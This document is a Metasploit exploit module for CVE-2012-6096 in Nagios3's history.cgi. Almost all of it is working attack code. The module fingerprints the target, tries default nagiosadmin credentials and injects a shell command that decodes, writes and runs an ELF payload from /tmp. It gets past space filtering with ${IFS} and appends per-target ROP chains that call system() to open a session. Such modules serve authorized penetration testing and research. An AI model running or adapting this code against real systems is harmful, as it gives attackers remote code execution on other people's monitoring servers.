Nagios3 history.cgi Host Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Nagios3 history.cgi Host Command Execution',
   'Description'    => %q{
     This module abuses a command injection vulnerability in the
    Nagios3 history.cgi script.
   },
   'Author'         => [
    'Unknown <temp66@gmail.com>',      # Original finding
    'blasty <blasty@fail0verflow.com>',     # First working exploit
    'Jose Selvi <jselvi@pentester.es>',     # Metasploit module
    'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
   ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-6096' ],
     [ 'OSVDB', '88322' ],
     [ 'BID', '56879' ],
     [ 'EDB', '24084' ],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ]
    ],
   'Platform'       => ['unix', 'linux'],
   'Arch'           => [ ARCH_X86 ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 200, # Due to a system() parameter length limitation
     'BadChars'    => '', # It'll be base64 encoded
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { 'auto' => true }],
     # NOTE: All addresses are from the history.cgi binary
     [ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
      {
       'BannerRE' => 'Apache/2.2.15 (CentOS)',
       'VersionRE' => '3.4.1',
       'Arch' => ARCH_X86,
       'Offset' => 0xc43,
       'RopStack' =>
        [
         0x0804c260, # unescape_cgi_input()
         0x08048f04, # pop, ret
         0x08079b60, # buffer addr
         0x08048bb0, # system()
         0x08048e70, # exit()
         0x08079b60 # buffer addr
        ]
      }
     ],
     [ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)',
      {
       'BannerRE' => 'Apache/2.2.9 (Debian)',
       'VersionRE' => '3.0.6',
       'Arch' => ARCH_X86,
       'Offset' => 0xc37,
       'RopStack' =>
        [
         0x0804b620, # unescape_cgi_input()
         0x08048fe4, # pop, ret
         0x080727a0, # buffer addr
         0x08048c7c, # system()
         0xdeafbabe, # if should be exit() but it's not
         0x080727a0 # buffer addr
        ]
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 09 2012'))

  register_options(
   [
    OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
    OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
    OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
   ], self.class)
 end

 def detect_version(uri)
  # Send request
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => uri,
   'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
  }, 10)

  # Error handling
  if res.nil?
   print_error("Unable to get a response from the server")
   return nil, nil
  end
  if(res.code == 401)
   print_error("Please specify correct values for USER and PASS")
   return nil, nil
  end
  if(res.code == 404)
   print_error("Please specify the correct path to history.cgi in the URI parameter")
   return nil, nil
  end

  # Extract banner from response
  banner = res.headers['Server']

  # Extract version from body
  version = nil
  version_line = res.body.match(/Nagios&reg; (Core&trade; )?[0-9.]+ -/)
  if not version_line.nil?
   version = version_line[0].match(/[0-9.]+/)[0]
  end

  # Check in an alert exists
  alert = res.body.match(/ALERT/)

  return version, banner, alert
 end

 def select_target(version, banner)

  # No banner and version, no target
  if banner.nil? or version.nil?
   return nil
  end

  # Get version information
  print_status("Web Server banner: #{banner}")
  print_status("Nagios version detected: #{version}")

  # Try regex for each target
  self.targets.each do |t|
   if t['BannerRE'].nil? or t['VersionRE'].nil?  # It doesn't exist in Auto Target
    next
   end
   regexp1 = Regexp.escape(t['BannerRE'])
   regexp2 = Regexp.escape(t['VersionRE'])
   if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
    return t
   end
  end
  # If not detected, return nil
  return nil
 end

 def check
  print_status("Checking banner and version...")
  # Detect version
  banner, version, alert = detect_version(target_uri.path)
  # Select target
  mytarget = select_target(banner, version)

  if mytarget.nil?
   print_error("No matching target")
   return CheckCode::Unknown
  end

  if alert.nil?
   print_error("At least one ALERT is needed in order to exploit")
   return CheckCode::Detected
  end

  return CheckCode::Vulnerable
 end

 def exploit
  # Automatic Targeting
  mytarget = nil
  banner, version, alert = detect_version(target_uri.path)
  if (target['auto'])
   print_status("Automatically detecting the target...")
   mytarget = select_target(banner, version)
   if mytarget.nil?
    fail_with(Exploit::Failure::NoTarget, "No matching target")
   end
  else
   mytarget = target
  end

  print_status("Selected Target: #{mytarget.name}")
  if alert.nil?
   print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...")
  end
  print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")

  # Generate a payload ELF to execute
  elfbin = generate_payload_exe
  elfb64 = Rex::Text.encode_base64(elfbin)

  # Generate random filename
  tempfile = '/tmp/' + rand_text_alphanumeric(10)

  # Generate command-line execution
  if mytarget.name =~ /CentOS/
   cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};"
  else
   cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}"
  end
  host_value = cmd.gsub!(' ', '${IFS}')

  # Generate 'host' parameter value
  padding_size = mytarget['Offset'] - host_value.length
  host_value << rand_text_alphanumeric( padding_size )

  # Generate ROP
  host_value << mytarget['RopStack'].pack('V*')

  # Send exploit
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => target_uri.path,
   'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
   'vars_get' =>
   {
    'host' => host_value
   }
  })

  if not res
   if session_created?
    print_status("Session created, enjoy!")
   else
    print_error("No response from the server")
   end
   return
  end

  if res.code == 401
   fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS")
  end

  if res.code == 404
   fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
  end

  print_status("Unknown response #{res.code}")
 end

end